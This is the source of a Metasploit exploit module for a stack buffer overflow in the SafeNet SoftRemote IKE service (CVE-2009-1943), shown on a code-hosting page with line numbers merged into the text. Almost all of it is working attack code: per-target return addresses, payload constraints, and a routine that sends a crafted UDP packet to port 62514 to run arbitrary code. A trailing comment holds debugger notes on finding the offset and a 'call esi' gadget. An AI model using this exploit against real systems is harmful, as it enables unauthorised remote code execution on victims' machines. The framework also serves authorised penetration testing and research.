Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/vpn/safenet_ike_11.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe15service. When sending a specially crafted udp packet to port 62514 an16attacker may be able to execute arbitrary code. This module has17been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using18windows/meterpreter/reverse_ord_tcp payloads.19},20'Author' => [ 'MC' ],21'References' =>22[23[ 'CVE', '2009-1943' ],24[ 'OSVDB', '54831' ],25[ 'BID', '35154' ],26[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 213,35'BadChars' => "\x00\x0a\x20\x0d",36'StackAdjustment' => -3500,37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",38},39'Privileged' => true,40'Platform' => 'win',41'Targets' =>42[43[ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ],44[ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ],45[ 'SafeNet Irelke 10.8.3.6', { 'Ret' => 0x00451929 } ],46],47'DisclosureDate' => '2009-06-01',48'DefaultTarget' => 0))4950register_options([Opt::RPORT(62514)], self)51end5253def exploit5455connect_udp5657sploit = [0x01000000].pack('V') # IPC packet58sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).59sploit << payload.encoded60sploit << [target.ret].pack('V')61sploit << rand_text_alpha_upper(150)6263print_status("Trying target #{target.name}...")64udp_sock.put(sploit)6566select(nil,nil,nil,5)67handler68disconnect_udp6970end7172end73=begin740:013> g75(f7c.fe0): Access violation - code c0000005 (first chance)76First chance exceptions are reported before any exception handling.77This exception may be expected and handled.78eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=0000000079eip=41316841 esp=014af64c ebp=00000001 iopl=0 nv up ei pl nz na pe nc80cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=000102068141316841 ?? ???820:008> !pattern_offset 30083[Byakugan] Control of eax at offset 217.84[Byakugan] Control of eip at offset 213.850:008> d esp86014af64c 68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68 h2Ah3Ah4Ah5Ah6Ah87014af65c 37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32 7Ah8Ah9Ai0Ai1Ai288014af66c 41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41 Ai3Ai4Ai5Ai6Ai7A89014af67c 69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a i8Ai9Aj0Aj1Aj2Aj90014af68c 33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38 3Aj4Aj5Aj6Aj7Aj891014af69c 41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41 Aj9Ak0Ak1Ak2Ak3A92014af6ac 6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b k4Ak5Ak6Ak7Ak8Ak93014af6bc 39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34 9Al0Al1Al2Al3Al4940:008> d esi9500dcfdf1 61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61 a0Aa1Aa2Aa3Aa4Aa9600dcfe01 35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30 5Aa6Aa7Aa8Aa9Ab09700dcfe11 41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41 Ab1Ab2Ab3Ab4Ab5A9800dcfe21 62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63 b6Ab7Ab8Ab9Ac0Ac9900dcfe31 31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36 1Ac2Ac3Ac4Ac5Ac610000dcfe41 41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41 Ac7Ac8Ac9Ad0Ad1A10100dcfe51 64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64 d2Ad3Ad4Ad5Ad6Ad10200dcfe61 37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32 7Ad8Ad9Ae0Ae1Ae21030:008> s -b 0x00400000 0x0047c000 ff d6104.105.106004514a9 ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00 .....D$..D$.....1070:008> u 0x004514a9 L1108IreIKE+0x514a9:109004514a9 ffd6 call esi110=end111112113